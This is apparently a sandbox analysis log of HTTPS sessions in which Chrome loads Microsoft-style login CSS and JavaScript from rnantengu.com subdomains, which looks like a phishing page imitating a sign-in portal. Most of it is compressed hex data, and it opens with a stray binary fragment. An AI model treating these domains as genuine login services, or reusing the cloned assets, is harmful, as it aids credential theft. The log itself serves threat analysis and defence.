&&d,i@rAJJ~l[YLB[iIHEJ0\|'7d^5w+hTB?-[a[~<K<.}[]n}PW5eL =fEaUqe$CO2@7@qt,_)M
2025-01-15 09:07:13 UTC	16384	IN	Data Raw: 07 4f af 61 35 64 3b 4f 6f 65 aa de b3 a0 c5 4c 0f 30 e8 f3 9d 35 83 7d 5f 87 ad 52 9d 19 49 f0 e1 6c bc 61 3b 85 92 98 89 a4 7e db 48 77 1a 89 85 75 82 38 65 af 46 e4 45 58 b6 1c c6 0c d7 b4 7c 4b 6c 14 4b f0 6b 43 ef 4e ab 11 17 bb 7c 65 f1 7b d7 27 37 ac 74 c2 4a db f3 7c 38 50 11 b6 30 ca 4a 75 1a 99 64 e5 47 d8 7b 04 61 69 e5 84 9c 38 27 44 59 35 f9 4c be f1 d3 70 70 a2 86 04 37 c5 1d 6d 9b 5b 34 6d 8a 9e 79 2b ce 41 a4 71 c9 70 a7 31 c7 df e5 bb 3f 30 cf 4a 50 b4 27 c6 a2 5c 5c 99 30 b6 e8 49 91 97 5c 5e c3 cd 0c 38 54 5e 8b c7 90 a9 5e 05 31 e3 0a e0 8f 54 9b ec db ae 13 00 2d fa f0 bc ef 2c 7a ed c5 9e af 39 7f 1d 19 58 b5 a3 3d 5b 45 4a b6 16 dd c6 e5 15 6d ab dc c3 29 2d ab 46 95 c9 68 64 51 a5 70 7c 9a 23 1b d5 13 7f 18 b3 01 a7 68 1b 8d 8e b5 Data Ascii: Oa5d;OoeL05}_RIla;~Hwu8eFEX\|KlKkCN\|e{'7tJ\|8P0JudG{ai8'DY5Lpp7m[4my+Aqp1?0JP'\\0I\^8T^^1T-,z9X=[EJm)-FhdQp\|#h
2025-01-15 09:07:13 UTC	16384	IN	Data Raw: fd 8e 0a 87 ae 8e df 43 76 30 74 44 a3 f7 44 2e be 33 de 2a 4a cb 21 36 11 4c 3f c2 bb c2 41 ff 6f 52 74 c7 5b 4d c7 b1 d9 7d c2 81 b6 cd b3 61 e1 df 0d b9 cc 9a 76 29 be f8 1f 2c 32 42 32 67 ba 41 94 22 08 97 05 5d 89 df d4 27 4a 7c 10 45 56 ea 37 4a cb 0e a2 af 0a e5 47 63 f5 8d 62 fa 19 e5 5f ae d2 d5 9f f4 98 3f f1 38 d9 02 c5 3c 13 8f 9c 27 1f ff 4a 35 f8 1b b1 87 e7 58 5c e6 d9 97 d5 65 43 f3 da 94 c5 e6 a9 e4 41 51 28 b2 ad e8 1d 91 32 c5 88 19 a7 62 84 88 e0 8e 68 9c 47 a0 c0 e2 93 06 d4 1c 16 e4 35 8d c4 b2 20 af 75 9f 62 27 26 05 62 83 ca d2 19 b7 44 18 40 eb b2 12 5d 4b da 8c 55 3e 2c 07 11 eb ee df e9 85 e0 e4 09 15 4e 1a e0 7d 3e 9e 0d 1e 3c 73 6d ab f0 33 f1 f2 fe 3c be ec 8d ee a6 cb c7 a9 ba a7 31 a0 77 7a 8f cc 10 df d9 13 94 3f 44 b1 95 Data Ascii: Cv0tDD.3*J!6L?AoRt[M}av),2B2gA"]'J\|EV7JGcb_?8<'J5X\eCAQ(2bhG5 ub'&bD@]KU>,N}><sm3<1wz?D
2025-01-15 09:07:13 UTC	1162	IN	Data Raw: e5 a6 c7 1d e6 9f 9f 2e fa e6 46 19 28 61 b2 7b dc ab 1f c5 a4 d2 05 49 d9 c9 b4 81 9c c2 4f 93 be 64 33 bb d9 7c 7a 67 7c da 6b 3a 88 29 8d c6 51 0f e7 b1 1c 4f dc 73 42 52 1c ac 52 04 47 98 01 8d 50 02 97 7a 93 25 ed fc 9d ed 6c 2a 97 3b 2d 75 2f 9a b8 09 94 32 52 73 14 e8 5c 35 0e 69 7e a1 9e 3c 81 4a 83 97 01 8e 66 71 3e 29 4d 62 f2 08 d7 a4 a6 c6 07 a5 1d de 72 6a 91 05 c1 93 28 6f 52 91 b2 10 78 c4 18 04 93 c3 83 c7 5b b4 98 64 30 86 3d a2 14 ad 37 d2 32 cb 23 82 68 db 22 7c 2a cd 5a bd 11 6e 02 bf f1 f4 7a 13 0b bb 85 42 e9 d2 eb f2 09 3a 1d 93 9e ca ab 5d 35 27 8a 08 31 4b 19 23 5d fb e5 70 71 bd 5c 10 21 34 08 fa dd 6a 54 43 11 c2 9b 8f 06 b8 9e c3 de 8c a9 9b 68 00 c1 7d db 29 d9 b8 b4 d6 e9 89 83 43 78 3a b9 bd 40 ea 51 af f9 ad b2 38 0c 56 03 Data Ascii: .F(a{IOd3\|zg\|k:)QOsBRRGPz%l;-u/2Rs\5i~<Jfq>)Mbrj(oRx[d0=72#h"\|ZnzB:]5'1K#]pq\!4jTCh})Cx:@Q8V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49902	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:13 UTC	715	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://onlineauthenticationrelayservices.rnantengu.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:15 UTC	790	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:15 GMT Content-Type: text/css Content-Length: 20410 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 08 Nov 2024 04:59:25 GMT etag: 0x8DCFFB21E496F3A x-ms-request-id: 0a18c3c9-301e-0001-7cbd-66a327000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090715Z-155884f84d4gxpbjhC1BL11kz400000000vg00000000464w x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:15 UTC	15594	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2025-01-15 09:07:15 UTC	4816	IN	Data Raw: 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 bb 7d ce d8 eb 5e Data Ascii: x++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f}^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49904	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:13 UTC	692	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://onlineauthenticationrelayservices.rnantengu.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:16 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:16 GMT Content-Type: application/x-javascript Content-Length: 122728 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 12 Dec 2024 21:33:54 GMT etag: 0x8DD1AF4ADA1D4EB x-ms-request-id: b7ddd8a9-f01e-0067-1219-66a415000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090715Z-1698bcdb8c7j9l52hC1BL1cpdn00000001xg00000000u8eu x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:16 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 1b c4 8c 87 4d 07 e8 66 07 08 87 40 cf ec d2 1c 1e c7 56 82 87 c4 ce da 0e 2f 27 64 3f fb af aa 24 d9 b2 e3 d0 dd b3 fb dc fb dc e7 ce 9e 6d 62 a9 f4 56 2a 95 aa 4a a5 d2 87 9f b7 fe af ca cf 95 dd ef ff af 32 bc ee 5d 5d 57 06 27 95 eb cf a7 57 47 95 4b f8 fa 8f ca c5 e0 fa b4 7f fc fd f5 60 a3 f8 ff d7 0f 7e 5c 19 fb 53 56 81 bf 23 27 66 5e 25 0c 2a 61 54 f1 03 37 8c e6 61 e4 24 2c ae cc e0 df c8 77 a6 95 71 14 ce 2a c9 03 ab cc a3 f0 4f e6 26 71 65 ea c7 09 14 1a b1 69 f8 5c a9 42 75 91 57 b9 74 a2 e4 b5 72 7a 59 ab 43 fd 0c 6a f3 27 7e 00 a5 dd 70 fe 0a bf 1f 92 4a 10 26 be cb 2a 4e e0 51 6d 53 f8 08 62 56 59 04 1e 8b 2a cf 0f be fb 50 39 f7 dd 28 8c c3 71 52 89 Data Ascii: }[8\&LMf@V/'d?$mbVJ2]]W'WGK`~\SV#'f^%aT7a$,wqO&qei\BuWtrzYCj'~pJ&NQmSbVY*P9(qR
2025-01-15 09:07:16 UTC	16379	IN	Data Raw: bb 8c 31 a2 9e 75 90 d4 19 02 89 cb 3e 09 da 7b 28 e4 1a c0 52 1a 6c 7d a9 7d c8 5e ef b2 52 7c b3 b5 03 95 48 c0 1e df 22 ec 35 f1 00 d6 1c 08 2b a9 52 ed 28 b5 db 5b 86 ee d4 19 fa 42 60 88 9c ef 54 05 41 23 91 82 77 56 d6 f6 41 4b 00 0e fc 84 c7 0b d5 9a 90 ba ab cb 80 c7 24 d0 9c e9 b3 f3 1a 6b ab 1a 34 88 bb 01 8c 77 30 c7 0e c5 80 17 87 b8 8c 1b f9 a3 7c ff 95 fa 33 88 6a 26 d0 02 0a 02 f4 53 22 2d 26 e1 4e 06 55 b5 d0 9c b1 c7 2a 57 5e 71 c2 d0 42 36 9b e3 dd 1e ee 00 62 97 ed 39 c0 53 00 70 90 0d 86 65 15 d6 be 61 72 3a c8 ec 1b be f4 e3 7e 6f da 74 34 01 98 68 02 10 2a 3f 48 df e2 ba 78 36 63 71 a1 1c ea ef e8 23 02 0a d3 91 13 3d 66 81 1d 0e fc 82 33 db 47 f4 c7 22 f7 40 bc af 52 cc fd 1d fd b2 94 dc b5 fa 6c 07 c5 26 f4 0f a6 4b 3e 17 78 21 1e Data Ascii: 1u>{(Rl}}^R\|H"5+R([B`TA#wVAK$k4w0\|3j&S"-&NUW^qB6b9Spear:~ot4h?Hx6cq#=f3G"@Rl&K>x!
2025-01-15 09:07:16 UTC	16384	IN	Data Raw: 01 7f 4e 60 c8 98 7b 5f 4f 44 b9 fa 4d 98 ef 87 93 cf bb 30 5c d7 13 c4 59 e0 c0 55 79 2c b4 0f da 8b 7e a0 c7 5b 26 6c 64 11 59 99 20 91 b5 60 ca 1c 03 49 46 53 26 4e 57 8b 90 cc cc ae 0c a7 4c 8c ae 16 1c 19 98 5c 0a fc 0a bc 6d 81 d8 64 ef b3 1c 51 cc 3e f3 d3 de 0d 0c dc fe 00 18 db 02 95 05 2a 10 f3 d3 13 3d 73 66 11 98 19 98 5d 2d 93 68 9a 91 51 8b bf 0c 4c 2e bd 40 28 34 a0 2e a6 b7 c0 dd 16 5e d8 e9 3c a0 ef 1e 70 c4 31 e5 3a e0 5c ef 80 c4 83 5b 38 3d 18 8c 81 bb 2d 24 be d9 61 72 07 43 10 e3 8e 2a 27 f5 23 4b 29 1e 80 5f fa dc 4b 61 2f ab a5 41 b8 f7 30 e5 c0 c8 11 f5 89 84 7b 7f 14 a6 9f 2d e4 69 aa 19 f5 03 04 df 9e 56 a6 b3 f6 5e 59 60 98 6f aa cb a0 12 5d 1c 38 64 c8 34 04 72 23 97 0e c8 b5 f8 e3 12 87 e9 31 45 af c7 07 e0 33 47 5f c2 87 dc Data Ascii: N`{_ODM0\YUy,~[&ldY `IFS&NWL\mdQ>=sf]-hQL.@(4.^<p1:\[8=-$arC'#K)_Ka/A0{-iV^Y`o]8d4r#1E3G_
2025-01-15 09:07:16 UTC	16384	IN	Data Raw: dd e3 fb 56 38 44 2b fb f1 24 1b 20 0a 4a 7a 0d db 2b 5c b2 5a 45 98 7f 6e 11 a9 93 c3 26 12 7e 71 33 68 c2 0c f7 13 5a 06 b1 be 70 c2 8e 0e 50 c9 04 e9 5e 8d 31 74 1e 09 0a 31 48 d4 92 0b da 33 4d 11 87 8b b1 43 3c 99 0c cf 3d b8 89 a3 e9 28 9e f8 b9 f7 61 ca c1 02 59 98 15 4f 0c 3d 14 4b 1d 9a 8d ef 95 02 0e 18 e0 6a 21 64 38 c2 bf e1 24 7a 0c 95 a2 94 21 06 b4 69 48 4b 1d b7 10 d0 a1 cc 3f b3 10 c9 25 75 fc 01 f0 04 59 4a 27 4e 8e fe d2 c2 0d 2a 49 5b b5 46 b1 8e c6 72 be a6 03 32 6f 37 f5 ea a5 07 46 f3 1a de 8b 28 56 15 33 31 63 f7 a1 65 95 c0 29 b3 29 b0 52 35 73 05 b6 66 9e 11 55 4c 86 51 7f 34 da af 25 48 3c a4 a1 a7 66 13 6b 85 73 03 16 6a 10 bb c0 f9 43 bd 84 2b 66 7c 6c c7 cb 41 b8 9c 38 3f 04 19 70 6b af 11 f3 a5 20 18 46 c6 fb 9a c4 39 09 8a Data Ascii: V8D+$ Jz+\ZEn&~q3hZpP^1t1H3MC<=(aYO=Kj!d8$z!iHK?%uYJ'N*I[Fr2o7F(V31ce))R5sfULQ4%H<fksjC+f\|lA8?pk F9
2025-01-15 09:07:16 UTC	16384	IN	Data Raw: 52 af 6d 30 b5 0e 0d c4 ba 2f 96 cb 0a 60 dd c7 23 35 63 65 bd 61 22 78 6c f5 7e aa 79 35 96 fe 52 ab b3 76 7f 8b 47 6a 4b 20 81 d0 9c ca d3 78 9d 19 b4 e6 c2 6f 26 e1 99 0a d0 0c 44 97 19 b0 8f 6b 1b ae 76 c9 d4 de 9f 85 75 42 3b 97 53 75 56 25 70 ad 1b b5 60 26 9b 34 8d 63 59 33 bc ab 3b ec 9f c3 d2 c3 92 1d ff e3 d3 c9 9a c3 de 7e 0e 62 b9 17 0b 0d 1c 22 7b 76 56 61 11 53 27 db 04 89 66 7f 86 83 45 3b f7 66 08 3a 83 d7 2a 9b 67 9b a1 64 38 9e b4 4f 9f 8a 78 7a 9b 10 51 35 05 68 47 b7 df c2 4e b8 a0 8d 55 73 83 e5 35 73 38 72 6d ac bb f6 06 88 8d 47 15 c0 d1 fb 5d ae c1 95 4f 34 31 08 0c 54 7d c1 3f b5 43 79 b7 23 f9 57 f9 06 c3 f8 5c 33 f6 16 34 ba 63 b7 44 f8 b8 0c f3 75 68 41 d3 d6 e1 a6 c6 80 e2 f0 ab d7 1d 3e 8b b6 94 11 4c cf ca 75 8f e1 42 ae e5 Data Ascii: Rm0/`#5cea"xl~y5RvGjK xo&DkvuB;SuV%p`&4cY3;~b"{vVaS'fE;f:*gd8OxzQ5hGNUs5s8rmG]O41T}?Cy#W\34cDuhA>LuB
2025-01-15 09:07:16 UTC	16384	IN	Data Raw: e9 17 99 95 d0 d2 2f ea ae 84 96 7e 91 59 09 2d fd a2 ee 4a 68 e9 17 99 95 d0 d2 2f ea ae 84 96 7e 91 59 09 2d fd a2 ee 4a 68 f1 17 99 95 d0 f2 2f ea ae 84 96 7f 91 59 09 2d ff a2 ee f4 68 f9 17 99 f9 d1 f2 2f ea ae 84 96 7f 91 59 09 2d ff 56 8a 28 90 9b 12 0a e2 ee 52 69 e1 67 56 ca 77 fe 2b 2c ec f8 c6 16 36 bb b8 e8 33 b2 03 e1 fb 41 28 43 1e 45 92 e3 2f fa e1 c2 ee 96 f8 7f ee 32 8d 06 db f6 95 46 39 cf 5d d8 5a 0c e6 89 17 e6 6e 10 87 41 12 79 3c f2 73 17 36 7d b8 8b 5e 8c a9 ed 25 32 ce 82 2c 94 59 6e 47 91 c8 c2 9c f9 6e 14 e5 be 27 32 2f cb 6f 67 07 af f6 95 62 04 61 e0 67 39 f7 7d 2f 11 4e 94 7b 5e 16 67 36 b7 b3 00 c3 74 77 32 6f c6 b6 4a dd c0 87 32 94 e5 a1 1d 78 60 83 52 ba 3c 0c 33 96 45 6e 1c 41 6b 8c 77 d3 59 9a 7b 36 8b 45 10 67 be cc 92 Data Ascii: /~Y-Jh/~Y-Jh/Y-h/Y-V(RigVw+,63A(CE/2F9]ZnAy<s6}^%2,YnGn'2/ogbag9}/N{^g6tw2oJ2x`R<3EnAkwY{6Eg
2025-01-15 09:07:16 UTC	812	IN	Data Raw: b3 10 a2 3f d0 93 17 e5 5c 1e 37 90 dc 5f 90 af 64 41 31 58 9d ae 6a 1e fd f4 9a f2 1b 06 30 af c9 b4 bf 39 fd 6d 13 b6 a8 74 b6 0f bf 7d a2 58 c0 7a f5 e7 ad ef 1b 59 dd e2 89 3e c0 51 6f 65 f4 b5 73 b2 5a 68 e3 50 4e 69 af 6b ae 3d 1a fd 03 6a 97 d8 34 ac d9 c7 1b 7a be 52 66 d3 f0 20 81 36 37 72 d2 7c bd 76 82 ef 1b 9e a4 b8 d1 cf 05 f4 cb cb 85 11 76 9b e7 bd 5b 6d 13 19 ac 98 ea ad c6 ae b5 da db 6d ac 5b a6 f4 a7 a3 a9 cf ca c5 d2 8d 41 19 dc d0 b4 a8 45 33 c5 9a 57 2a 00 6c 4d 7f 57 ad af 8b ff 5e e9 af 19 f6 9a 0e f0 c9 52 be 52 f5 ff 14 f1 f4 67 77 22 fe 76 62 fa 0f 2d 5a 6f c5 e6 6f cd 83 6f c7 40 af 23 e3 f6 bb eb 8d f1 76 89 b6 d3 ee b7 a6 71 e2 b2 fa d3 0e b4 fd 3f f9 c0 f2 cf 9f 7c e0 4f 3e a0 fe 7c 9c 0f 7c 2a 09 3f a9 f7 1c 3a c4 ab cf 2a Data Ascii: ?\7_dA1Xj09mt}XzY>QoesZhPNik=j4zRf 67r\|vv[mm[AE3WlMW^RRgw"vb-Zooo@#vq?\|O>\|\|?:*
2025-01-15 09:07:16 UTC	16384	IN	Data Raw: d4 1d 8b 39 7b 52 cf 4c 97 fa f4 db 6b 02 ae 24 08 b7 45 e0 5d 8f eb fa f7 ff 78 4e f6 39 dc ad db 70 c7 8b 55 f1 ba b2 42 2b 5f 7f 57 d7 ed 6d f5 7d bd 59 bb a2 e5 eb 97 d7 78 d8 fe dc 0d fc 1d a4 da 97 64 ee 7c 81 62 d1 f8 87 ff 14 8f 7f 00 f1 38 af 17 ab 25 14 76 22 36 37 b5 bb 13 71 ba a9 f1 a6 ca d3 56 81 9b aa eb d7 cc c8 6f 24 a8 6e 2b 42 f4 46 da 72 af 8d 68 ec 4f 1e fb 9f c3 63 e9 ee f7 85 fc f1 6f 0f 1a ce 7a 9d af 78 57 5c 77 ae 7a 3d 98 9d fe c9 72 6f ca 72 f5 d4 fd 78 da cf 78 3b df fe b4 29 6e 61 53 fc 36 1a fd 6d 82 28 6e c9 c2 37 87 15 76 3f fd 41 b9 ba 6e e8 e9 2a 55 6c 6a ee e9 27 91 c8 97 b7 93 b8 0d 77 87 7a 30 c3 4a 3c 60 33 36 7f f7 93 ce a7 d1 f6 27 7f 5e 8e 5f f3 7a ae 81 38 e0 0a 8a 83 d7 0d 18 9f 59 02 50 56 8e d5 91 df af 33 76 Data Ascii: 9{RLk$E]xN9pUB+_Wm}Yxd\|b8%v"67qVo$n+BFrhOcozxW\wz=rorxx;)naS6m(n7v?An*Ulj'wz0J<`36'^_z8YPV3v
2025-01-15 09:07:16 UTC	8040	IN	Data Raw: 21 d2 c6 18 1f 15 28 27 9e 87 47 92 62 e1 bc a2 24 0a d0 27 c0 b8 62 33 ff 2e 20 cb e4 ea 4c 64 fd 7a 66 cc d8 38 45 26 b1 57 47 f0 e4 88 e3 ec 25 da bf 72 a0 de d0 4f cc 07 5e 30 b6 a8 13 fe c4 d7 24 0e 9d 73 31 60 b6 62 22 70 2c ef 16 c6 67 f1 f3 90 b8 62 4a 3e c9 d9 0b a3 cb 30 49 cd c8 37 ac 77 67 b0 a7 1e bb c6 07 f6 43 d0 ac 6b 9c b2 9f 50 e1 13 89 5c c0 b6 7c 7e ce 9e bf 09 4f c9 d3 a5 0d 78 f8 85 46 38 2a e3 19 a3 36 c4 45 6e 5d 48 5a c7 04 d2 c6 73 56 26 3f 40 69 d2 39 66 ef 40 83 00 94 44 be 03 73 fc 6b ec 1b 87 29 54 3e 4f c2 c7 e3 30 e6 3a a3 f1 36 7d 9f 1f 1a e3 4b af d8 4b 3e 5d f8 82 6d 39 2f fc cf c6 53 86 6d ff 75 4c f8 96 f5 2a 4c 60 59 a3 19 89 91 b3 ef 3a e8 84 c8 18 dc f3 c0 5d 84 7e 90 70 5e d3 36 4e f8 44 55 7b 1b 18 75 8e 06 06 4f Data Ascii: !('Gb$'b3. Ldzf8E&WG%rO^0$s1`b"p,gbJ>0I7wgCkP\\|~OxF86En]HZsV&?@i9f@Dsk)T>O0:6}KK>]m9/SmuLL`Y:]~p^6NDU{uO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49903	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:13 UTC	711	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://onlineauthenticationrelayservices.rnantengu.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:07:15 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:15 GMT Content-Type: application/x-javascript Content-Length: 16378 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 06 Dec 2024 22:09:39 GMT etag: 0x8DD1642AD75BC4E x-ms-request-id: 5c9dc48c-e01e-002d-09c1-664f88000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090715Z-155884f84d4v2hj7hC1BL1hrr800000000eg000000003mct x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:15 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2025-01-15 09:07:15 UTC	800	IN	Data Raw: 11 5a 53 4f 4d 5f a7 ec 07 d6 03 4d de 08 3c d9 d6 31 26 05 e6 18 5a be 56 ae 63 a0 13 6c 00 eb dd 31 c5 c3 b9 0f f8 85 4d 99 01 80 b7 2c 65 d8 c2 08 d2 32 1e 40 88 ab 05 45 3d f1 34 18 72 ee 43 46 79 e0 fa e1 bc b3 2a 6f 39 37 98 a3 a2 03 71 f0 50 d1 01 48 f4 54 63 b9 85 7e cb f0 5b fa 7d 98 93 3e 00 b7 05 83 2c d1 97 53 8e 20 c8 eb ad 9c c2 8a e4 57 86 6f f0 6a 8d e1 3d 80 8e 07 4b e6 18 0a fc 7e 00 49 1c f8 03 13 b4 0f c5 47 81 c1 04 7c 66 e6 46 88 70 72 1a d5 87 0c 38 61 47 66 8e 1c c1 a5 d5 0f 4d fc 8e b0 8c 6e c1 a8 36 01 64 b4 86 65 c1 8c 1e 70 b4 1e 18 55 d9 83 f8 81 d1 42 19 df 60 51 34 1e 92 74 6b 80 75 bc 3b fc e3 79 f3 fc f4 fc a4 68 0b 55 7c 6e f1 34 47 d0 7e 21 95 c3 7a 31 32 9e 60 17 60 d6 64 55 b4 4c 1e f8 9c 8e 41 ac 8e 25 1d 00 4b 57 6e Data Ascii: ZSOM_M<1&ZVcl1M,e2@E=4rCFy*o97qPHTc~[}>,S Woj=K~IG\|fFpr8aGfMn6depUB`Q4tku;yhU\|n4G~!z12``dULA%KWn

